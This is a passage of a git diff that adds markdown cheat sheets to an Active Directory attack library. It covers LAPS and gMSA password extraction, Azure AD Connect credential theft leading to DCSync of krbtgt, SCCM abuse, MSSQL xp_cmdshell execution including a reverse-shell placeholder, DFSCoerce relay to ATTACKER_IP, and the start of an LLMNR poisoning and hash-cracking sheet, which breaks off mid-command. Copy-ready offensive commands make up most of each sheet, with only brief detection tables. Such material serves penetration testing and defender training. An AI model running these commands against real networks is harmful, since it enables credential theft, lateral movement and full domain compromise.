server admins | + +*** + +## 💻 Full Commands + +```powershell +# ── Check who can read LAPS passwords ───────────────────────────────────────── +Find-AdmPwdExtendedRights -Identity "OU=Servers,DC=corp,DC=local" + +# ── Read LAPS password (LAPS v1) ────────────────────────────────────────────── +Get-ADComputer TARGET -Properties ms-Mcs-AdmPwd | Select Name,ms-Mcs-AdmPwd + +# ── LAPS v2 ─────────────────────────────────────────────────────────────────── +Get-LapsADPassword -Identity TARGET -AsPlainText + +# ── PowerView ───────────────────────────────────────────────────────────────── +Get-DomainComputer TARGET -Properties ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime +``` + +```bash +# ── NetExec ─────────────────────────────────────────────────────────────────── +nxc ldap DC01.corp.local -u low_user -p 'Password1' --module laps + +# Or smb: +nxc smb DC01.corp.local -u low_user -p 'Password1' --laps + +# ── ldapsearch ──────────────────────────────────────────────────────────────── +ldapsearch -x -H ldap://DC01.corp.local -D "low_user@corp.local" -w 'Password1' \ + -b "DC=corp,DC=local" "(ms-Mcs-AdmPwd=*)" ms-Mcs-AdmPwd + +# ── pyLAPS ──────────────────────────────────────────────────────────────────── +python3 pyLAPS.py --action get -d corp.local -u low_user -p 'Password1' --dc-ip 10.10.10.10 +``` + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4662** | Security Log (DC) | Read access to ms-Mcs-AdmPwd attribute | +| **Audit** | AD DS | Track who queries LAPS password attributes | + +*** + +## 🔗 Attack Chain Context + +``` +[LAPS] ──→ Read local admin passwords from AD attributes + │ + ├──→ 🔑 Each computer has unique local admin password + ├──→ 🔗 Password → local admin → credential dumping → lateral movement + └──→ 💀 Defeated by: restrict LAPS read delegation, audit access +``` + +*** + +> ✅ **Attack #72 — LAPS Password Extraction complete.** diff --git a/src/content/sheets/active-directory/attack-73-gmsa-password-extraction.md b/src/content/sheets/active-directory/attack-73-gmsa-password-extraction.md @@ -0,0 +1,84 @@ +--- +title: "Attack #73 — gMSA Password Extraction" +description: "Group Managed Service Accounts (gMSAs) have their passwords automatically managed by AD and stored in the msDS-ManagedPassword attribute. Principals…" +category: active-directory +tags: ["active-directory", "credential-access", "ntlm", "privilege-escalation", "hashing"] +tools: ["NetExec", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Ten/🔷 Attack #73 — gMSA Password Extraction.md" +--- +# 🔷 Attack #73 — gMSA Password Extraction + +*** + +## 📖 How It Works + +Group Managed Service Accounts (gMSAs) have their passwords automatically managed by AD and stored in the `msDS-ManagedPassword` attribute. Principals authorized to retrieve this password (defined in `msDS-GroupMSAMembership`) can extract the NTLM hash of the gMSA. If a gMSA has privileged access (e.g., DA-equivalent or DCSync rights), extracting its hash = domain compromise. + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Authorized to retrieve gMSA password** | Listed in `msDS-GroupMSAMembership` | +| **Or compromise of an authorized server** | Servers hosting services running as gMSA | + +*** + +## 💻 Full Commands + +```powershell +# ── Find gMSAs ──────────────────────────────────────────────────────────────── +Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword + +# ── Check who can read gMSA password ────────────────────────────────────────── +Get-ADServiceAccount svc_gmsa -Properties PrincipalsAllowedToRetrieveManagedPassword | + Select PrincipalsAllowedToRetrieveManagedPassword + +# ── Read gMSA password (if authorized) ──────────────────────────────────────── +# DSInternals: +Install-Module DSInternals -Force +$gmsa = Get-ADServiceAccount svc_gmsa -Properties msDS-ManagedPassword +(ConvertFrom-ADManagedPasswordBlob $gmsa.'msDS-ManagedPassword').SecureCurrentPassword + +# ── GMSAPasswordReader (tool) ───────────────────────────────────────────────── +.\GMSAPasswordReader.exe --AccountName svc_gmsa +``` + +```bash +# ── gMSADumper (Linux) ──────────────────────────────────────────────────────── +python3 gMSADumper.py -u low_user -p 'Password1' -d corp.local -l DC01.corp.local + +# ── NetExec ─────────────────────────────────────────────────────────────────── +nxc ldap DC01.corp.local -u low_user -p 'Password1' --gmsa + +# ── bloodyAD ────────────────────────────────────────────────────────────────── +bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \ + get object 'svc_gmsa$' --attr msDS-ManagedPassword +``` + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4662** | Security Log (DC) | Read access to `msDS-ManagedPassword` attribute | + +*** + +## 🔗 Attack Chain Context + +``` +[gMSA] ──→ Extract managed password hash → impersonate service account + │ + ├──→ 🔑 gMSA may have DA-equivalent rights or DCSync permissions + ├──→ 🔗 PtH with gMSA hash → lateral movement / privilege escalation + └──→ 💀 Defeated by: restrict gMSA password retrieval delegation +``` + +*** + +> ✅ **Attack #73 — gMSA Password Extraction complete.** diff --git a/src/content/sheets/active-directory/attack-74-azure-ad-connect-credential-extraction.md b/src/content/sheets/active-directory/attack-74-azure-ad-connect-credential-extraction.md @@ -0,0 +1,79 @@ +--- +title: "Attack #74 — Azure AD Connect Credential Extraction" +description: "Azure AD Connect synchronizes on-premises AD with Azure AD / Entra ID. The sync service stores a privileged AD account's credentials (the MSOL_ account or…" +category: active-directory +tags: ["active-directory", "credential-access", "privilege-escalation", "sql-injection"] +tools: ["Impacket", "Mimikatz", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Ten/🔷 Attack #74 — Azure AD Connect Credential Extraction.md" +--- +# 🔷 Attack #74 — Azure AD Connect Credential Extraction + +*** + +## 📖 How It Works + +Azure AD Connect synchronizes on-premises AD with Azure AD / Entra ID. The sync service stores a **privileged AD account's credentials** (the MSOL_ account or ADSync account) in a local database (encrypted with DPAPI). This account typically has **DCSync rights by default** — extracting its credentials from the Azure AD Connect server grants immediate DCSync capability. + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Local admin on Azure AD Connect server** | To access the encrypted database | +| **Azure AD Connect installed** | With on-prem sync configured | + +*** + +## 💻 Full Commands + +```powershell +# ── AADInternals (PowerShell) ───────────────────────────────────────────────── +Install-Module AADInternals -Force +Import-Module AADInternals +Get-AADIntSyncCredentials +# Output: +# Domain: corp.local +# Username: MSOL_<hex> +# Password: <cleartext_password> + +# ── adconnectdump (manual extraction) ───────────────────────────────────────── +.\adconnectdump.exe +# Extracts MSOL_ credentials from the local SQL database + +# ── Now DCSync with the MSOL_ account ───────────────────────────────────────── +mimikatz.exe "lsadump::dcsync /domain:corp.local /user:krbtgt" exit +# MSOL_ account has DCSync rights by default +``` + +```bash +# ── From Linux (after extracting credentials) ───────────────────────────────── +secretsdump.py corp.local/MSOL_<hex>:'<password>'@DC01.corp.local -just-dc-user krbtgt +``` + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4662** | Security Log (DC) | MSOL_ account performing replication | +| **4624** | Security Log | MSOL_ logon from unexpected source (not the AD Connect server) | + +*** + +## 🔗 Attack Chain Context + +``` +[Azure AD Connect] ──→ Extract MSOL_ creds → DCSync → domain compromise + │ + ├──→ 🔑 MSOL_ account has DCSync rights by DEFAULT + ├──→ 🔗 Compromise AD Connect server → full domain compromise + └──→ 💀 Defeated by: harden AD Connect server, use gMSA for sync, monitor MSOL_ usage +``` + +*** + +> ✅ **Attack #74 — Azure AD Connect complete.** diff --git a/src/content/sheets/active-directory/attack-75-sccm-mecm-exploitation.md b/src/content/sheets/active-directory/attack-75-sccm-mecm-exploitation.md @@ -0,0 +1,82 @@ +--- +title: "Attack #75 — SCCM MECM Exploitation" +description: "Microsoft Endpoint Configuration Manager (MECM/SCCM) manages software deployment, patching, and configuration across enterprise environments. SCCM servers…" +category: active-directory +tags: ["active-directory", "lateral-movement"] +tools: ["PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Ten/🔷 Attack #75 — SCCM MECM Exploitation.md" +--- +# 🔷 Attack #75 — SCCM / MECM Exploitation + +*** + +## 📖 How It Works + +Microsoft Endpoint Configuration Manager (MECM/SCCM) manages software deployment, patching, and configuration across enterprise environments. SCCM servers store **Network Access Account (NAA)** credentials, client push installation credentials, and task sequence passwords — all recoverable by an attacker. Additionally, SCCM can be abused for **lateral movement** via application deployment and client push. + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **SCCM client installed on compromised host** | Or local admin on SCCM server | +| **Network access to SCCM infrastructure** | For credential extraction | + +*** + +## 💻 Full Commands + +```powershell +# ── SharpSCCM — Enumerate SCCM ─────────────────────────────────────────────── +.\SharpSCCM.exe local site-info +.\SharpSCCM.exe get site-info -mp SCCM01.corp.local + +# ── Extract NAA credentials (from SCCM client) ─────────────────────────────── +.\SharpSCCM.exe local naa -m wmi +# Or: +.\SharpDPAPI.exe sccm + +# ── Extract credentials from SCCM database (if DB access) ──────────────────── +.\SharpSCCM.exe get naa -mp SCCM01.corp.local -sc COR + +# ── Lateral movement via SCCM application deployment ───────────────────────── +.\SharpSCCM.exe exec -p calc.exe -mp SCCM01 -sc COR -r TARGET +# Deploys and executes on target machine via SCCM +``` + +```bash +# ── sccmhunter (Linux) ──────────────────────────────────────────────────────── +python3 sccmhunter.py find -u low_user -p 'Password1' -d corp.local -dc-ip 10.10.10.10 +python3 sccmhunter.py show -u low_user -p 'Password1' -d corp.local + +# ── pxethief — PXE boot media credential extraction ────────────────────────── +python3 pxethief.py 2 SCCM01.corp.local +``` + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **Application deployment** | SCCM logs | Unexpected application deployments | +| **4624** | Security Log | NAA account logon from unexpected source | + +*** + +## 🔗 Attack Chain Context + +``` +[SCCM/MECM] ──→ Extract creds / deploy payloads across the domain + │ + ├──→ 🔑 NAA credentials often have elevated network access + ├──→ 💻 Task sequence passwords → local admin on deployed machines + └──→ 💀 Defeated by: use Enhanced HTTP, remove NAA, restrict admin roles +``` + +*** + +> ✅ **Attack #75 — SCCM/MECM Exploitation complete.** diff --git a/src/content/sheets/active-directory/attack-76-mssql-server-and-linked-server-abuse.md b/src/content/sheets/active-directory/attack-76-mssql-server-and-linked-server-abuse.md @@ -0,0 +1,109 @@ +--- +title: "Attack #76 — MSSQL Server and Linked Server Abuse" +description: "MSSQL servers in AD environments can be exploited for privilege escalation and lateral movement. Key techniques include: xp_cmdshell for RCE, linked…" +category: active-directory +tags: ["active-directory", "adcs", "privilege-escalation", "lateral-movement", "sql-injection"] +tools: ["NetExec", "Impacket", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Ten/🔷 Attack #76 — MSSQL Server and Linked Server Abuse.md" +--- +# 🔷 Attack #76 — MSSQL Server & Linked Server Abuse + +*** + +## 📖 How It Works + +MSSQL servers in AD environments can be exploited for privilege escalation and lateral movement. Key techniques include: **xp_cmdshell** for RCE, **linked servers** for cross-server lateral movement (hopping through database links to reach otherwise unreachable servers), and **impersonation** to escalate from a low-privileged DB user to `sa`. + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **MSSQL access** | Domain user may have default access to MSSQL instances | +| **xp_cmdshell or impersonation rights** | For execution and escalation | + +*** + +## 💻 Full Commands + +### 🔵 Enumerate MSSQL Instances + +```bash +# ── NetExec ─────────────────────────────────────────────────────────────────── +nxc mssql 10.10.10.0/24 -u low_user -p 'Password1' + +# ── PowerUpSQL ──────────────────────────────────────────────────────────────── +Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded +``` + +### 🔴 xp_cmdshell — RCE + +```bash +# ── Impacket mssqlclient.py ─────────────────────────────────────────────────── +mssqlclient.py corp.local/low_user:'Password1'@SQL01.corp.local -windows-auth + +# Inside MSSQL: +# enable_xp_cmdshell +# xp_cmdshell whoami +# xp_cmdshell powershell -e <base64_reverse_shell> +``` + +```powershell +# ── PowerUpSQL ──────────────────────────────────────────────────────────────── +Invoke-SQLOSCmd -Instance SQL01.corp.local -Command "whoami" +``` + +### 🔴 Linked Server Hopping + +```sql +-- ── Find linked servers ────────────────────────────────────────────────────── +SELECT * FROM master..sysservers; +EXEC sp_linkedservers; + +-- ── Execute on linked server ────────────────────────────────────────────────── +EXEC ('xp_cmdshell ''whoami''') AT [SQL02.corp.local]; + +-- ── Double hop (chain through linked servers) ───────────────────────────────── +EXEC ('EXEC (''xp_cmdshell ''''whoami'''''') AT [SQL03.corp.local]') AT [SQL02.corp.local]; +``` + +### 🔴 Impersonation + +```sql +-- ── Check who you can impersonate ───────────────────────────────────────────── +SELECT * FROM sys.server_permissions WHERE permission_name = 'IMPERSONATE'; + +-- ── Impersonate sa ──────────────────────────────────────────────────────────── +EXECUTE AS LOGIN = 'sa'; +EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; +EXEC xp_cmdshell 'whoami'; +``` + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **15457** | SQL Server | xp_cmdshell enabled | +| **18456** | SQL Server | Failed login attempts | +| **4688** | Security Log | sqlservr.exe spawning cmd.exe/powershell | + +*** + +## 🔗 Attack Chain Context + +``` +[MSSQL Abuse] ──→ RCE via xp_cmdshell / lateral move via linked servers + │ + ├──→ 💻 xp_cmdshell → SYSTEM/service account on DB server + ├──→ 🔗 Linked servers → hop to unreachable network segments + └──→ 💀 Defeated by: disable xp_cmdshell, audit linked servers, least privilege +``` + +*** + +> ✅ **Attack #76 — MSSQL/Linked Server Abuse complete.** diff --git a/src/content/sheets/active-directory/attack-77-dfscoerce-ms-dfsnm-coercion.md b/src/content/sheets/active-directory/attack-77-dfscoerce-ms-dfsnm-coercion.md @@ -0,0 +1,71 @@ +--- +title: "Attack #77 — DFSCoerce MS-DFSNM Coercion" +description: "DFSCoerce abuses the MS-DFSNM (Distributed File System Namespace Management) protocol to coerce a target machine (typically a DC) into authenticating to…" +category: active-directory +tags: ["active-directory", "adcs", "ntlm", "relay"] +tools: [] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Ten/🔷 Attack #77 — DFSCoerce MS-DFSNM Coercion.md" +--- +# 🔷 Attack #77 — Coercion via DFSCoerce / MS-DFSNM + +*** + +## 📖 How It Works + +DFSCoerce abuses the **MS-DFSNM** (Distributed File System Namespace Management) protocol to coerce a target machine (typically a DC) into authenticating to an attacker-controlled host. It's functionally similar to PetitPotam (#41) and PrinterBug (#42) — a coercion technique that feeds into NTLM relay chains (ESC8, RBCD, etc.). DFSCoerce requires authentication but works on fully patched DCs where PetitPotam's unauthenticated variant has been fixed. + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Any domain user credentials** | Authentication required | +| **DFS role installed on target** | Default on DCs in many environments | +| **Relay target** | ADCS, LDAP, etc. | + +*** + +## 💻 Full Commands + +```bash +# ── DFSCoerce ───────────────────────────────────────────────────────────────── +python3 dfscoerce.py -u low_user -p 'Password1' -d corp.local \ + LISTENER_IP DC01.corp.local + +# ── Combined with ESC8 ─────────────────────────────────────────────────────── +# Terminal 1: +ntlmrelayx.py -t http://CA01.corp.local/certsrv/certfnsh.asp --adcs --template DomainController +# Terminal 2: +python3 dfscoerce.py -u low_user -p 'Password1' -d corp.local ATTACKER_IP DC01.corp.local + +# ── Coercer (all-in-one — includes DFSCoerce) ──────────────────────────────── +coercer coerce -u low_user -p 'Password1' -d corp.local \ + -l LISTENER_IP -t DC01.corp.local --filter-protocol-name MS-DFSNM +``` + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4624** | Security Log | DC authenticating to unexpected workstation | + +*** + +## 🔗 Attack Chain Context + +``` +[DFSCoerce] ──→ NTLM Coercion via MS-DFSNM → relay to ADCS/LDAP + │ + ├──→ 🔗 Alternative coercion when PetitPotam is patched + ├──→ 🔗 Chains with: ESC8 (#33), RBCD (#17), UD (#15) + └──→ 💀 Defeated by: block outbound NTLM from DCs, enable EPA +``` + +*** + +> ✅ **Attack #77 — DFSCoerce complete.** diff --git a/src/content/sheets/active-directory/attack-78-ad-recycle-bin-object-abuse.md b/src/content/sheets/active-directory/attack-78-ad-recycle-bin-object-abuse.md @@ -0,0 +1,99 @@ +--- +title: "Attack #78 — AD Recycle Bin Object Abuse" +description: "When the AD Recycle Bin feature is enabled (Server 2008 R2+), deleted AD objects are moved to the CN=Deleted Objects container and retained for a…" +category: active-directory +tags: ["active-directory", "privilege-escalation"] +tools: ["NetExec", "ldapsearch", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Ten/🔷 Attack #78 — AD Recycle Bin Object Abuse.md" +--- +# 🔷 Attack #78 — AD Recycle Bin Object Abuse + +*** + +## 📖 How It Works + +When the **AD Recycle Bin** feature is enabled (Server 2008 R2+), deleted AD objects are moved to the `CN=Deleted Objects` container and retained for a configurable period (default 180 days). These deleted objects **retain all their attributes** — including passwords, SPNs, group memberships, and ACLs. An attacker can query the Recycle Bin to find recently deleted privileged accounts and either restore them or extract their sensitive attributes for exploitation. + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **AD Recycle Bin enabled** | Domain/Forest functional level 2008 R2+ | +| **Domain user** | Basic read access to Deleted Objects container | +| **Or DA** | For object restoration | + +*** + +## 💻 Full Commands + +```powershell +# ── Check if Recycle Bin is enabled ─────────────────────────────────────────── +Get-ADOptionalFeature -Filter {Name -like "Recycle*"} + +# ── Query deleted objects ───────────────────────────────────────────────────── +Get-ADObject -SearchBase "CN=Deleted Objects,DC=corp,DC=local" \ + -IncludeDeletedObjects -Filter * -Properties * + +# ── Find deleted privileged users ───────────────────────────────────────────── +Get-ADObject -SearchBase "CN=Deleted Objects,DC=corp,DC=local" \ + -IncludeDeletedObjects -Filter {ObjectClass -eq "user" -and adminCount -eq 1} \ + -Properties sAMAccountName,memberOf,adminCount,whenChanged + +# ── Restore a deleted DA account ────────────────────────────────────────────── +Restore-ADObject -Identity "<deleted_object_DN>" -NewName "restored_admin" + +# ── Extract attributes from deleted objects ────────────────────────────────── +Get-ADObject -SearchBase "CN=Deleted Objects,DC=corp,DC=local" \ + -IncludeDeletedObjects -Filter {sAMAccountName -eq "old_svc_account"} \ + -Properties servicePrincipalName,sIDHistory,ms-Mcs-AdmPwd +``` + +```bash +# ── ldapsearch — query Deleted Objects ──────────────────────────────────────── +ldapsearch -x -H ldap://DC01.corp.local -D "low_user@corp.local" -w 'Password1' \ + -b "CN=Deleted Objects,DC=corp,DC=local" \ + -s sub "(objectClass=user)" -E '!1.2.840.113556.1.4.417=::MAA=' + +# ── NetExec / bloodyAD ──────────────────────────────────────────────────────── +bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \ + get children "CN=Deleted Objects,DC=corp,DC=local" --type user +``` + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4662** | Security Log (DC) | Access to Deleted Objects container | +| **4741** | Security Log (DC) | Restored computer account | +| **4720** | Security Log (DC) | Restored user account | + +*** + +## 🔗 Attack Chain Context + +``` +[AD Recycle Bin] ──→ Recover deleted privileged objects / extract sensitive attributes + │ + ├──→ 🗑️ Deleted objects retain: passwords, SPNs, group memberships, LAPS + ├──→ 🔗 Restore deleted DA account → instant privilege escalation + ├──→ 📋 Default retention: 180 days + └──→ 💀 Defeated by: monitor Deleted Objects access, purge sensitive objects properly +``` + +*** + +> ✅ **Attack #78 — AD Recycle Bin Object Abuse complete.** + +*** + +> 🏁 **Category 10 — Misc / Modern Attacks is now COMPLETE (7/7 attacks).** + +*** + +> 🏆 **THE FULL 78-ATTACK AD CHEAT SHEET LIBRARY IS NOW COMPLETE.** diff --git a/src/content/sheets/active-directory/attack-8-llmnr-nbt-ns-mdns-poisoning.md b/src/content/sheets/active-directory/attack-8-llmnr-nbt-ns-mdns-poisoning.md @@ -0,0 +1,514 @@ +--- +title: "Attack #8 — LLMNR NBT-NS mDNS Poisoning" +description: "LLMNR (Link-Local Multicast Name Resolution), NBT-NS (NetBIOS Name Service), and mDNS (Multicast DNS) are fallback name resolution protocols built into…" +category: active-directory +tags: ["active-directory", "ntlm", "relay", "hashing"] +tools: ["Nmap", "NetExec", "Impacket", "Hashcat", "John"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-One/🔴 Attack #8 — LLMNR NBT-NS mDNS Poisoning.md" +--- +# 🔴 Attack #8 — LLMNR / NBT-NS / mDNS Poisoning + +*** + +## 📖 How It Works + +LLMNR (Link-Local Multicast Name Resolution), NBT-NS (NetBIOS Name Service), and mDNS (Multicast DNS) are **fallback name resolution protocols** built into Windows. When a machine tries to resolve a hostname and DNS fails — whether due to a typo, a misconfigured share path, or a disconnected server — Windows automatically broadcasts a query to the entire local subnet asking *"Does anyone know where `\\FILESERVRE` is?"*. Any machine on that subnet can respond, and critically, **Windows will trust the first answer it receives** without any verification. + +The attacker runs **Responder** on the network, which listens for these broadcast queries and immediately responds to all of them, claiming to be the requested host. The victim's machine, believing it found the target, initiates an NTLM authentication to the attacker — sending a Net-NTLMv2 hash in the process. The attacker captures this hash and either cracks it offline or relays it immediately to a vulnerable target via ntlmrelayx (Attack #7). This attack requires **zero prior access**, zero exploits, and works silently in the background — making it one of the most common initial foothold techniques in internal penetration testing. + +> ⚠️ **Windows 11 / Server 2025:** LLMNR is still enabled by default, but organizations actively disabling it via GPO are increasing. NBT-NS is harder to disable globally without breaking legacy services. mDNS remains ubiquitous. This attack remains highly effective in mixed-OS environments and businesses with legacy dependencies. + +### Name Resolution Order in Windows + +``` +1. Local Hosts file (C:\Windows\System32\drivers\etc\hosts) +2. DNS query to configured DNS server +3. LLMNR broadcast (UDP port 5355) ← ATTACKER POISONS HERE +4. NBT-NS broadcast (UDP port 137) ← ATTACKER POISONS HERE +5. mDNS broadcast (UDP port 5353) ← ATTACKER POISONS HERE +``` + +> **The attack only fires when DNS fails** — so it naturally triggers on typos in UNC paths (`\\FILSEVER\share`), decommissioned server names, misconfigured GPOs, or broken mapped drives at login. + +### The Full Attack Flow + +``` +1. Attacker starts Responder on internal network interface +2. Victim user/process makes a DNS query that fails (typo, broken path, etc.) +3. Windows falls back to LLMNR/NBT-NS — broadcasts to local subnet +4. Responder intercepts the broadcast and replies: "I am that host, authenticate to me" +5. Victim machine initiates NTLM authentication to attacker's IP +6. Responder captures the Net-NTLMv2 hash (username + challenge + response) +7. Path A: Crack the hash offline with Hashcat (-m 5600) +8. Path B: Relay the hash live with ntlmrelayx → shell/DA access (Attack #7) +``` + +### Cross-References — Related Techniques + +**Attack #7, #8, #9 form a trilogy:** +- **#7** (NTLM Relay): The relay mechanism itself — where captured hashes are relayed +- **#8** (LLMNR/NBT-NS/mDNS): Primary auth trigger for #7 — how to capture credentials +- **#9** (mitm6): IPv6-based alternative trigger — different initial vector same relay destination + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Internal network access** | Must be on same subnet/broadcast domain as victims — doesn't work from outside | +| **LLMNR/NBT-NS not disabled** | Attack fails if GPO has disabled these protocols (common in hardened environments) | +| **Victim makes failed DNS query** | Passive: wait for organic typos/broken paths; Active: trigger manually | +| **For cracking** | GPU rig for Net-NTLMv2 (Hashcat mode 5600) | +| **For relaying** | SMB signing disabled on relay target (see Attack #7) | + +### Protocol Breakdown + +| Protocol | Port | Type | Default State | +|---|---|---|---| +| **LLMNR** | UDP 5355 | Multicast | ✅ Enabled by default on all Windows versions | +| **NBT-NS** | UDP 137 | Broadcast | ✅ Enabled by default (legacy NetBIOS) | +| **mDNS** | UDP 5353 | Multicast | ✅ Enabled by default (Windows 10+) | + +*** + +## 🛠️ Tools + +| Tool | Platform | Role | +|---|---|---| +| **Responder** | Linux | Primary poisoner — responds to LLMNR/NBT-NS/mDNS; captures hashes | +| **Inveigh** | Windows | PowerShell/C# Responder equivalent for Windows-based attacks | +| **ntlmrelayx.py** (Impacket) | Linux | Relay captured hashes to SMB/LDAP/ADCS targets (see Attack #7) | +| **Hashcat** | Linux/Win | Crack captured Net-NTLMv2 hashes (mode 5600) | +| **John the Ripper** | Linux | CPU-based alternative; `netntlmv2` format | +| **Metasploit** | Both | `auxiliary/spoof/llmnr/llmnr_response` module | +| **Wireshark / tcpdump** | Linux | Verify poisoning is working; capture NTLM auth in transit | + +*** + +## 💻 Full Commands + +### 🔵 Step 0 — Verify LLMNR/NBT-NS is Active on the Network + +```bash +# ── Listen passively for LLMNR/NBT-NS broadcasts (no poisoning yet) ─────────── +sudo tcpdump -i eth0 udp port 5355 -v # LLMNR +sudo tcpdump -i eth0 udp port 137 -v # NBT-NS +sudo tcpdump -i eth0 udp port 5353 -v # mDNS + +# ── Wireshark filter for LLMNR/NBT-NS traffic ────────────────────────────────── +# Filter: llmnr || nbns || mdns + +# ── Nmap — check for NBT-NS activity ───────────────────────────────────────── +nmap -sU --script nbstat.nse -p 137 10.10.10.0/24 +``` + +*** + +### 🔴 Responder — Core Poisoning Tool (Linux) + +```bash +# ── Basic Responder run — poison all protocols, capture hashes ───────────────── +sudo responder -I eth0 + +# ── Full flags explained ─────────────────────────────────────────────────────── +sudo responder -I eth0 -rdwv +# -I eth0 = network interface to listen on +# -r = enable answers for NetBIOS wredir suffix queries +# -d = enable answers for NBNS domain suffix queries +# -w = start WPAD rogue proxy server (captures browser auth) +# -v = verbose output + +# ── With WPAD rogue proxy (intercepts browser proxy auth — very effective) ───── +sudo responder -I eth0 -wv + +# ── Analysis mode only — listen but don't poison (passive recon) ─────────────── +sudo responder -I eth0 -A +# -A = Analyze mode — logs all observed name resolution requests without responding + +# ── Force NTLM downgrade (force NTLMv1 instead of v2 — much faster to crack) ── +sudo responder -I eth0 --lm +# ⚠️ Noisy — may cause authentication failures visible to users + +# ── Target specific interface with verbose debug ─────────────────────────────── +sudo responder -I eth0 -v --disable-ess +``` + +*** + +### 🔴 Responder Captured Hash Locations + +```bash +# All captured hashes are logged here: +cat /usr/share/responder/logs/ + +# List all captured NTLMv2 hashes +ls /usr/share/responder/logs/HTTP-NTLMv2-*.txt +ls /usr/share/responder/logs/SMB-NTLMv2-*.txt + +# View a specific capture +cat /usr/share/responder/logs/SMB-NTLMv2-SSP-10.10.10.50.txt + +# Hash format — example: +# Administrator::CORP:aabbccddeeff0011:F2B9B344A4AEA7D6FE76F8D4C891B3FD:01010000... + +# Combine all SMB captures into one file for cracking +cat /usr/share/responder/logs/SMB-NTLMv2-*.txt > all_hashes.txt +``` + +*** + +### 🔴 Cracking Captured Net-NTLMv2 Hashes — Hashcat + +```bash +# ── Mode 5600 = Net-NTLMv2 ──────────────────────────────────────────────────── +hashcat -m 5600 all_hashes.txt /usr/share/wordlists/rockyou.txt + +# ── With best64 rules ───────────────────────────────────────────────────────── +hashcat -m 5600 all_hashes.txt /usr/share/wordlists/rockyou.txt \ + -r /usr/share/hashcat/rules/best64.rule + +# ── With d3ad0ne rules (aggressive) ────────────────────────────────────────── +hashcat -m 5600 all_hashes.txt /usr/share/wordlists/rockyou.txt \ + -r /usr/share/hashcat/rules/d3ad0ne.rule + +# ── Brute force mask (corporate: Word+Digits+Symbol) ───────────────────────── +hashcat -m 5600 all_hashes.txt -a 3 ?u?l?l?l?l?d?d?d?s + +# ── John the Ripper alternative ─────────────────────────────────────────────── +john --format=netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt all_hashes.txt +john --format=netntlmv2 all_hashes.txt --show + +# ── Mode 5500 = Net-NTLMv1 (if you forced downgrade with --lm) ─────────────── +hashcat -m 5500 ntlmv1_hashes.txt /usr/share/wordlists/rockyou.txt +``` + +*** + +### 🔴 Combining with NTLM Relay (Simultaneous Capture + Relay) + +```bash +# ── CRITICAL: Edit Responder config first ───────────────────────────────────── +nano /etc/responder/Responder.conf +# SMB = Off (let ntlmrelayx handle SMB — otherwise Responder steals the auth) +# HTTP = Off (same reason) + +# ── Run Responder for LLMNR/NBT-NS poisoning only ───────────────────────────── +sudo responder -I eth0 -rdwv + +# ── Simultaneously run ntlmrelayx to relay captured auth ────────────────────── +# (In a second terminal) +ntlmrelayx.py -tf relay_targets.txt -smb2support -i + +# Responder poisons → victim authenticates to attacker → +# ntlmrelayx relays to target → shell / DA escalation +``` + +*** + +### 🔴 Inveigh — Windows-Based Poisoning (When You Have a Windows Shell) + +```powershell +# Import Inveigh (PowerShell version) +Import-Module .\Inveigh.ps1 + +# Start full poisoning (LLMNR + NBNS + mDNS) +Invoke-Inveigh -ConsoleOutput Y -NBNS Y -LLMNR Y -mDNS Y + +# Capture only (no relay) — save output to file +Invoke-Inveigh -ConsoleOutput Y -FileOutput Y -OutputDir C:\Temp\ + +# Stop Inveigh +Stop-Inveigh + +# C# version (Inveigh.exe — stealthier, no PowerShell dependency) +.\Inveigh.exe + +# View captured hashes from C# version +.\Inveigh.exe -ListenerStatus +``` + +*** + +### 🔴 Inveigh.exe (C# Version) — Detailed Commands + +```powershell +# ── Full C# Inveigh with console output ────────────────────────────────────── +.\Inveigh.exe -ConsoleOutput Y -NBNS Y -LLMNR Y -mDNS Y -Elevated N + +# ── Inveigh.exe with file logging (capture to C:\Temp\inveigh_hashes.txt) ─── +.\Inveigh.exe -ConsoleOutput Y -FileOutput Y -OutputDir C:\Temp\ \ + -LLMNR Y -NBNS Y -mDNS Y + +# ── Inveigh.exe with WPAD interception (browser auth capture) ──────────────── +.\Inveigh.exe -ConsoleOutput Y -WPAD Y -HTTPAuth NTLM + +# ── Inveigh.exe custom filtering (only capture specific usernames) ────────── +# Create filter file: admin, domain admin, svc_ accounts +.\Inveigh.exe -ConsoleOutput Y -Filter admin,svc + +# ── Inveigh.exe relay mode (forward captured auth 